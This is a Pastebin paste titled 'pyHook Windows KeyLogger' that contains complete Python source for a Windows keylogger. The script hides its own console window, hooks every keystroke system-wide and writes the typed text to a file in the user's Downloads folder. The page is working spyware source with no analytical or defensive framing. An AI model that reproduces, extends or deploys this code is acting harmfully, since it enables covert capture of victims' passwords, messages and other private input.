Advertisement
Sweetening

pyHook Windows KeyLogger

Dec 18th, 2024
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. import win32console
  2. import win32gui
  3. import pythoncom
  4. import pyHook
  5. import os
  6.  
  7. print("""
  8. \x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
  9. \x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
  10. \x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
  11. \x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
  12. \x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
  13. \x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
  14. \x1b[38;2;0;255;58m>(setup)
  15. """)
  16.  
  17. # Hide the console window
  18. win = win32console.GetConsoleWindow()
  19. win32gui.ShowWindow(win, 0)
  20.  
  21. # Define the output file path using the default user path
  22. output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
  23.  
  24. # Create or clear the output file at the start
  25. with open(output_file, 'w') as f:
  26. f.write('Incoming keys:\n')
  27.  
  28. def OnKeyboardEvent(event):
  29. try:
  30. if event.Ascii == 5: # Exit on Ctrl + E
  31. os._exit(1)
  32. if event.Ascii != 0 and event.Ascii != 8: # Ignore null and backspace
  33. with open(output_file, 'a') as f:
  34. keylogs = chr(event.Ascii)
  35. if event.Ascii == 13: # Enter key
  36. keylogs = '\n'
  37. f.write(keylogs) # Append the key logs
  38. except Exception as e:
  39. with open(output_file, 'a') as f:
  40. f.write(f"\n[Error] {str(e)}\n")
  41.  
  42. # Set up the hook manager
  43. hm = pyHook.HookManager()
  44. hm.KeyDown = OnKeyboardEvent
  45. hm.HookKeyboard()
  46.  
  47. # Keep the program running
  48. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement